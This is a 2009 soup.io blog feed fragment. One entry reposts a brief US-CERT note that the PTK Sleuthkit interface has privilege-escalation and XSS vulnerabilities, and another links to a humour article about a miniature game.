<p><a name="overview"><h3></h3></a>The PTK sleuthkit interface contains multiple vulnerabilities. If exploited, these vulnerabilities may allow an attacker to gain elevated privileges or conduct XSS attacks.</p> <p><a href="http://www.kb.cert.org/vuls/id/845747">http://www.kb.cert.org/vuls/id/845747</a></p><p>[Reposted from <span class="user_container user4193" ><a class="" href="http://raistlin.soup.io/post/15509835/US-CERT-Vulnerability-Note-VU-845747"><span class="name">raistlin</span></a></span>]</p>Mon, 16 Mar 2009 10:31:48 GMThttp://blackfire.soup.io/post/15637872/US-CERT-Vulnerability-Note-VU-845747urn:www-soup-io:1:15637872link The best miniature game EVER! <p><a href="http://www.somethingawful.com/d/news/boxageddon-miniature-game.php">http://www.somethingawful.com/d/news/boxageddon-miniature-game.php</a></p>Sat, 21 Feb 2009 11:28:04 GMThttp://blackfire.soup.io/post/13391256/The-best-miniature-game-EVERurn:www-soup-io:1:13391256link